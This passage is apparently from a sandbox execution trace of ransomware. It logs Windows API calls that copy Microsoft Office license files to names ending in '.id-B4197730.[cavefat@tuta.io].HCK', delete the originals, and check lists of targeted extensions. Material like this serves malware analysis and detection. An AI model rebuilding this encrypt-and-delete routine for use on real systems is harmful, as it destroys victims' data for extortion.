Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.290] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.290] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.291] GetLastError () returned 0x0 [0236.291] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2586, lpOverlapped=0x0) returned 1 [0236.292] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2590, lpOverlapped=0x0) returned 1 [0236.293] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.293] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0236.293] SetEndOfFile (hFile=0x4a4) returned 1 [0236.293] CloseHandle (hObject=0x4a4) returned 1 [0236.293] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.293] SetEndOfFile (hFile=0x4c0) returned 1 [0236.296] CloseHandle (hObject=0x4c0) returned 1 [0236.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.297] lstrlenW (lpString=".doc") returned 4 [0236.297] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".docx") returned 5 [0236.297] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.297] lstrlenW (lpString=".pdf") returned 4 [0236.297] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".xls") returned 4 [0236.297] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".xlsx") returned 5 [0236.297] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.297] lstrlenW (lpString=".ppt") returned 4 [0236.297] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.297] lstrlenW (lpString=".zip") returned 4 [0236.297] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".rar") returned 4 [0236.297] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".bz2") returned 4 [0236.297] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString=".7z") returned 3 [0236.297] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.297] lstrlenW (lpString=".dbf") returned 4 [0236.297] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.297] lstrlenW (lpString=".1cd") returned 4 [0236.297] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".jpg") returned 4 [0236.298] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".doc") returned 4 [0236.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".docx") returned 5 [0236.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.298] lstrlenW (lpString=".pdf") returned 4 [0236.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".xls") returned 4 [0236.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".xlsx") returned 5 [0236.298] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.298] lstrlenW (lpString=".ppt") returned 4 [0236.298] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".zip") returned 4 [0236.298] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".rar") returned 4 [0236.298] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".bz2") returned 4 [0236.298] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString=".7z") returned 3 [0236.298] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".dbf") returned 4 [0236.298] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".1cd") returned 4 [0236.298] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0236.298] lstrlenW (lpString=".jpg") returned 4 [0236.298] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.298] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.298] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22 [0236.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.299] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10623) returned 1 [0236.299] CloseHandle (hObject=0x4c0) returned 1 [0236.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0236.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.607] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.607] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0236.611] GetLastError () returned 0x0 [0236.611] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x297f, lpOverlapped=0x0) returned 1 [0236.613] WriteFile (in: hFile=0x558, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2980, lpOverlapped=0x0) returned 1 [0236.615] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.615] WriteFile (in: hFile=0x558, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0236.615] SetEndOfFile (hFile=0x558) returned 1 [0236.615] CloseHandle (hObject=0x558) returned 1 [0236.618] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.618] SetEndOfFile (hFile=0x554) returned 1 [0236.626] CloseHandle (hObject=0x554) returned 1 [0236.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString=".doc") returned 4 [0236.627] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".docx") returned 5 [0236.627] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.627] lstrlenW (lpString=".pdf") returned 4 [0236.627] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".xls") returned 4 [0236.627] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".xlsx") returned 5 [0236.627] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.627] lstrlenW (lpString=".ppt") returned 4 [0236.627] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString=".zip") returned 4 [0236.627] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".rar") returned 4 [0236.627] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".bz2") returned 4 [0236.627] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString=".7z") returned 3 [0236.627] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString=".dbf") returned 4 [0236.627] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString=".1cd") returned 4 [0236.627] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.627] lstrlenW (lpString=".jpg") returned 4 [0236.627] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString=".doc") returned 4 [0236.628] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".docx") returned 5 [0236.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.628] lstrlenW (lpString=".pdf") returned 4 [0236.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".xls") returned 4 [0236.628] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".xlsx") returned 5 [0236.628] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.628] lstrlenW (lpString=".ppt") returned 4 [0236.628] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString=".zip") returned 4 [0236.628] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".rar") returned 4 [0236.628] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".bz2") returned 4 [0236.628] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString=".7z") returned 3 [0236.628] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString=".dbf") returned 4 [0236.628] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString=".1cd") returned 4 [0236.628] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0236.628] lstrlenW (lpString=".jpg") returned 4 [0236.628] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.628] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.628] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25 [0236.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.629] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10635) returned 1 [0236.629] CloseHandle (hObject=0x554) returned 1 [0236.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0236.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.630] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.630] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0236.631] GetLastError () returned 0x0 [0236.631] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x298b, lpOverlapped=0x0) returned 1 [0236.633] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2990, lpOverlapped=0x0) returned 1 [0236.633] ReadFile (in: hFile=0x554, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.634] WriteFile (in: hFile=0x544, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0236.634] SetEndOfFile (hFile=0x544) returned 1 [0236.634] CloseHandle (hObject=0x544) returned 1 [0236.634] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.634] SetEndOfFile (hFile=0x554) returned 1 [0236.636] CloseHandle (hObject=0x554) returned 1 [0236.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0236.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.637] lstrlenW (lpString=".doc") returned 4 [0236.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".docx") returned 5 [0236.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.637] lstrlenW (lpString=".pdf") returned 4 [0236.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".xls") returned 4 [0236.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".xlsx") returned 5 [0236.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.637] lstrlenW (lpString=".ppt") returned 4 [0236.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.637] lstrlenW (lpString=".zip") returned 4 [0236.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".rar") returned 4 [0236.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".bz2") returned 4 [0236.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.637] lstrlenW (lpString=".7z") returned 3 [0236.638] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".dbf") returned 4 [0236.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".1cd") returned 4 [0236.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".jpg") returned 4 [0236.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".doc") returned 4 [0236.638] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".docx") returned 5 [0236.638] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.638] lstrlenW (lpString=".pdf") returned 4 [0236.638] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".xls") returned 4 [0236.638] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".xlsx") returned 5 [0236.638] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.638] lstrlenW (lpString=".ppt") returned 4 [0236.638] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".zip") returned 4 [0236.638] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".rar") returned 4 [0236.638] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".bz2") returned 4 [0236.638] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString=".7z") returned 3 [0236.638] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".dbf") returned 4 [0236.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".1cd") returned 4 [0236.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0236.638] lstrlenW (lpString=".jpg") returned 4 [0236.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.638] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.639] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26 [0236.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0236.639] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20846) returned 1 [0236.639] CloseHandle (hObject=0x554) returned 1 [0236.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0236.639] GetFileAttributesW (lpFileName="C:\\Program 